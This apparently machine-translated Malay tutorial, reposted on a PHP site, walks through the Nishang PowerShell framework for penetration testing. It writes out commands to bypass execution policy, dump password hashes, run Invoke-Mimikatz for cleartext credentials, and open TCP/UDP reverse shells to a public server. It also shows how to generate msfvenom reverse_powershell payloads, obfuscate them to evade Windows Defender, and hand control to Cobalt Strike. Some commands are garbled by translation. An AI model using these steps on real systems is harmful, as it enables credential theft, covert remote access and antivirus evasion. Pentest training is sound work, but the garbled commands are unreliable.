Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Cara menggunakan Nishang, alat ujian penembusan PowerShell

Cara menggunakan Nishang, alat ujian penembusan PowerShell

WBOY
WBOYke hadapan
2023-05-13 10:58:201192semak imbas

PowerShell awal, mula-mula mari kita fahami konsep: PowerShell boleh dianggap sebagai versi cmd (bahasa skrip kelawar) yang dipertingkatkan, iaitu bahasa skrip pada platform Windows. Ia berorientasikan objek dan berkait rapat dengan .Net FrameWork. Ia juga boleh dianggap sebagai shell bash pada Windows. Windows PowerShell ialah shell baris perintah dan persekitaran skrip yang membolehkan pengguna baris arahan dan skrip untuk memanfaatkan kuasa Rangka Kerja .NET. Ia memperkenalkan banyak konsep baharu yang berguna yang mengembangkan lagi pengetahuan yang anda perolehi dan skrip yang anda cipta dalam persekitaran Windows Command Prompt dan Windows Host. Kod berjalan dalam memori tanpa menyentuh cakera Banyak produk keselamatan tidak dapat mengesan aktiviti PowerShell.exe biasanya disekat daripada berjalan, tetapi PowerShell tidak. Malah, kita perlu memintas beberapa perisian pelindung semasa proses ujian penembusan Selain memintas skrip atau alat lain, alat PoweShell juga merupakan pilihan yang baik. Sebagai contoh, kami menggunakan kata laluan untuk menangkap mimikatz ajaib pada hos sasaran Alat ajaib yang ditulis oleh pakar Perancis ini lebih biasa digunakan oleh semua orang Yang paling hebat ialah anda boleh mendapatkan kata laluan teks yang jelas bagi Windows yang aktif akaun daripada lsass.exe. Tetapi jika anda tidak melakukan kerja yang baik untuk mengelakkan pembunuhan, anda akan terus melalui baldi keluarga bebas pembunuhan tertentu. Menggunakan Powershell, penyerang boleh melaksanakan arahan tanpa menyentuh cakera. Berikut ialah beberapa alatan yang biasa digunakan:

Pengenalan kepada Nishang

Nishang ialah alat khas untuk ujian penembusan berdasarkan PowerShell Ia menyepadukan skrip dan pelbagai muatan, seperti mengambil kata laluan. Pengimbasan pelabuhan, peningkatan keistimewaan, dsb. Alat ini kerap digunakan oleh orang baru dalam ujian penembusan harian. Mula-mula kita perlu memuat turun alat ini. Alamat muat turun ialah: https://github.com/samratashok/nishang. >

Cara menggunakan Nishang, alat ujian penembusan PowerShell
Di bawah kami menggunakan persekitaran percubaan khusus untuk menunjukkan modul yang biasa digunakan dalam proses ujian penembusan Sebelum demonstrasi, kami perlu menerangkan beberapa perbandingan yang dihadapi semasa menjalankan alat Powershell ralat, seperti isu kebenaran untuk melaksanakan skrip, isu dengan mengimport modul, dsb.

Powershell tidak dibenarkan semasa mengimport modul buat kali pertama, kerana dasar lalai tidak dibenarkan Pada masa ini, kami perlu menukar dasar pelaksanaan untuk membenarkannya, yang dipanggil remotesigned. Cara menggunakan Nishang, alat ujian penembusan PowerShell

Mari semak apakah dasar pelaksanaan semasa adalah dilarang untuk melaksanakan sebarang skrip, walaupun anda mempunyai hak pentadbir. Kami perlu mengubah suai kebenaran dan melaksanakan perintah:

Set-ExecutionPolicy ditandatangani jauh Apabila kami menanyakan semula dasar pelaksanaan semasa, ditandatangani jauh dibenarkan Mengimport skrip sekali lagi akan berjaya. Cara menggunakan Nishang, alat ujian penembusan PowerShell

Cara menggunakan Nishang, alat ujian penembusan PowerShellLaksanakan untuk melihat maklumat skrip dalam modul yang diimport: Get-Command -Module nishang

Cara menggunakan Nishang, alat ujian penembusan PowerShell

Senaraikan maklumat mesin ini: Dapatkan-Maklumat

Cara menggunakan Nishang, alat ujian penembusan PowerShell

Sekarang kami juga telah mengubah suai kebenaran pelaksanaan, mari mulakan perjalanan demonstrasi kami.

Cara menggunakan Nishang, alat ujian penembusan PowerShellGelombang tangkapan kata laluan

Apabila kita mendapat pelayan, kita perlu tahu sama ada hos sasaran ialah mesin fizikal atau mesin maya, laksanakan arahan: Semak -VM

Pertama sekali, nishang juga menyepadukan skrip untuk menangkap kata laluan Mula-mula tangkap nilai cincang:

#Get-PassHashes / /Simple. dan tangkapan terus dan paparan dalam antara muka dos; Cara menggunakan Nishang, alat ujian penembusan PowerShell

#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherGet-PassHashes.ps1';Get-PassHashes -PSObjectFormat | Out- File hash.txt }" //Dapatkan nilai cincang dan simpan dalam dokumen tersuai.


Cara menggunakan Nishang, alat ujian penembusan PowerShell

Cara menggunakan Nishang, alat ujian penembusan PowerShell

Memandangkan kita boleh menangkap nilai cincang, kita juga boleh menangkap kata laluan teks biasa Mari kita lihat skrip untuk menangkap kata laluan Kita dapat melihat bahawa alat Mimikatz juga digunakan, tetapi ia hanya dimuatkan ke dalam skrip Powershell .

Cara menggunakan Nishang, alat ujian penembusan PowerShell

Cara menggunakan Nishang, alat ujian penembusan PowerShell

Kita boleh menggunakan arahan berikut untuk mendapatkan kata laluan teks yang jelas:

#powershell –exec pintasan –Arahan "& {Import-Module 'C:nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz}" cuba untuk terus merebut kata laluan teks jelas pengguna sistem semasa. (Arahan yang paling biasa digunakan)

Cara menggunakan Nishang, alat ujian penembusan PowerShell

Lantunan pelabuhan berlaku

Cara menggunakan Nishang, alat ujian penembusan PowerShell

Semasa ujian penembusan, semasa kami melakukan penghantaran port, kami menemui satu siri pembunuhan FamilyBuckets, ejen nclcxsockes, dsb., yang dibunuh dan dipintas dari semasa ke semasa. Kemudian pada masa ini kita boleh menggunakan skrip port forwarding dalam nishang. Selain memperkenalkan pemajuan port terbina dalam, di sini kami juga bereksperimen dengan pemajuan port dengan MSF, yang kedua-duanya memerlukan pelayan rangkaian awam.

1. Pemajuan port TCP (sambungan terbalik)

Laksanakan arahan mendengar pada pelayan rangkaian awam: nc -lvp 5555

Hos sasaran melaksanakan arahan pemajuan port: Invoke-PowerShellTcp -Reverse -IPAddress 106.xxx.xxx.115 -Port 5555

Dengan cara ini, selepas kami melaksanakan arahan masing-masing pada hos sasaran dan rangkaian awam, pelayan rangkaian awam akan melantun semula shell , supaya kita boleh melaksanakan arahan Pelayan intranet.

Cara menggunakan Nishang, alat ujian penembusan PowerShell

2. Pemajuan port UDP (sambungan terbalik)

Laksanakan arahan pemantauan pada pelayan rangkaian awam: nc -lup 6666

Hos sasaran melaksanakan arahan pemajuan port: Invoke-PowerShellUdp -Reverse -IPAddress 106.xxx.xxx.115 -Port 6666

Cara menggunakan Nishang, alat ujian penembusan PowerShell

Kecuali Sambungan terbalik juga mempunyai sambungan hadapan Saya sering menggunakan sambungan terbalik dalam ujian penembusan Jika orang besar berminat dengan sambungan hadapan, anda boleh mencubanya. Okay, sekarang kami menggunakan powershell dan MSF untuk penghantaran port Pertama, kami menggunakan arahan untuk menyemak sama ada terdapat modul powershell dalam MSF:

##msfvenom -l payloads |grep 'reverse_powershell //Soal lokasi. daripada modul powershell.

Cara menggunakan Nishang, alat ujian penembusan PowerShell

Kami menggunakan MSF untuk menjana arahan bagi port lantunan:

##msfvenom -p cmd/windows/reverse_powershell lhost=106. xxx .xxx.115 lport=9999 r //Jana muatan, jenisnya ialah Powershell, bahagian yang ditandakan dengan warna merah ialah arahan yang perlu dilaksanakan pada hos sasaran.

Cara menggunakan Nishang, alat ujian penembusan PowerShell

Langkah seterusnya, kami melaksanakan perintah powershell yang baru kami hasilkan pada hos sasaran dan mendengar port 9999 pada pelayan rangkaian awam. Dengan cara ini, kami berjaya melantunkan shell hos sasaran ke pelayan rangkaian awam.

Cara menggunakan Nishang, alat ujian penembusan PowerShell

Kami juga akan memikirkan bagaimana kami boleh menggunakan kebingungan pada hos sasaran untuk memintas Windows Defender, kerana muatan biasa yang kami hasilkan akan dikesan dan dibunuh oleh Windows Defender , jadi kita perlu memintas mekanisme semakan ini. Mari kita ambil muatan di atas sebagai contoh untuk mengelirukannya untuk memintas Windows Defender. Kadangkala kami menjalankan muatan biasa yang kami hasilkan terus pada hos sasaran, dan ia mungkin dipintas secara langsung oleh Windows Defender Alat untuk mengelirukan sudah pasti Invoke-Obfuscation disediakan oleh Daniel Bohannon. Halaman Github projek boleh didapati.

Mula-mula kita mulakan alat Invoke-Obfuscation:

Import-Module ./Invoke-Obfuscation.psd1 //Import Invoke-Obfuscation.psd1;

Invoke -Obfuscation //Mulakan alat Invoke-Obfuscation;

Cara menggunakan Nishang, alat ujian penembusan PowerShell

Sekarang kita akan mengelirukan muatan penghantaran port yang baru kita hasilkan Mari kita lihat pelbagai parameter kaedah pemprosesan :

Cara menggunakan Nishang, alat ujian penembusan PowerShell

Bahagian muatan mana yang perlu dikelirukan, kami mesti nyatakan terlebih dahulu, yang boleh dilakukan melalui arahan berikut:

Tetapkan 'muatan' blok skrip

Cara menggunakan Nishang, alat ujian penembusan PowerShell

Kami memilih untuk mengaburkan keseluruhan perintah sebagai rentetan (pilihan khusus adalah berdasarkan persekitaran ujian penembusan tertentu):

Cara menggunakan Nishang, alat ujian penembusan PowerShell

Pilih 1 untuk ASCII obfuscation, kami masukkan 1.ps1 untuk melihat output Arahan ini juga bersamaan dengan menyimpan fail yang dikaburkan dalam direktori semasa dan 1.ps1:

Cara menggunakan Nishang, alat ujian penembusan PowerShell

dalam sasaran Laksanakan skrip ini pada hos Pelayan rangkaian awam mendengar port 9999, dan juga boleh berjaya melantun semula shell hos intranet:

Cara menggunakan Nishang, alat ujian penembusan PowerShell

alat powershell dan cobaltstrike Cipta percikan yang berbeza

Cobalt Strike ialah alat ujian penembusan rangka kerja GUI berdasarkan Metasploit, yang menyepadukan penghantaran port, pengimbasan perkhidmatan, limpahan automatik dan berbilang pemantauan port mod exe, penjanaan Trojan powershell, dsb. Alat ini juga merupakan alat yang berkuasa untuk penembusan intranet.

Cobalt Strike masing-masing perlu dipasang pada klien dan pelayan, kemudian mulakan alat ini:

Cara menggunakan Nishang, alat ujian penembusan PowerShell

Cara menggunakan Nishang, alat ujian penembusan PowerShell

Mula-mula kita mendengar port, menulis alamat IP awam sebagai alamat hos, kemudian menjana arahan powershell, jalankan arahan ini pada hos sasaran, hos sasaran akan datang dalam talian, dan kemudian kita boleh menangkap kata laluan dari jauh dan meningkatkan keistimewaan , pemantauan dan operasi lain:

Cara menggunakan Nishang, alat ujian penembusan PowerShellCara menggunakan Nishang, alat ujian penembusan PowerShellCara menggunakan Nishang, alat ujian penembusan PowerShellCara menggunakan Nishang, alat ujian penembusan PowerShellCara menggunakan Nishang, alat ujian penembusan PowerShellCara menggunakan Nishang, alat ujian penembusan PowerShellCara menggunakan Nishang, alat ujian penembusan PowerShell

Sejujurnya, ini adalah kedua-duanya alat yang saya gunakan Percikan yang dicipta di sini hanyalah sedikit, dan terdapat banyak operasi lain yang berminat boleh mengkajinya.

Atas ialah kandungan terperinci Cara menggunakan Nishang, alat ujian penembusan PowerShell. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam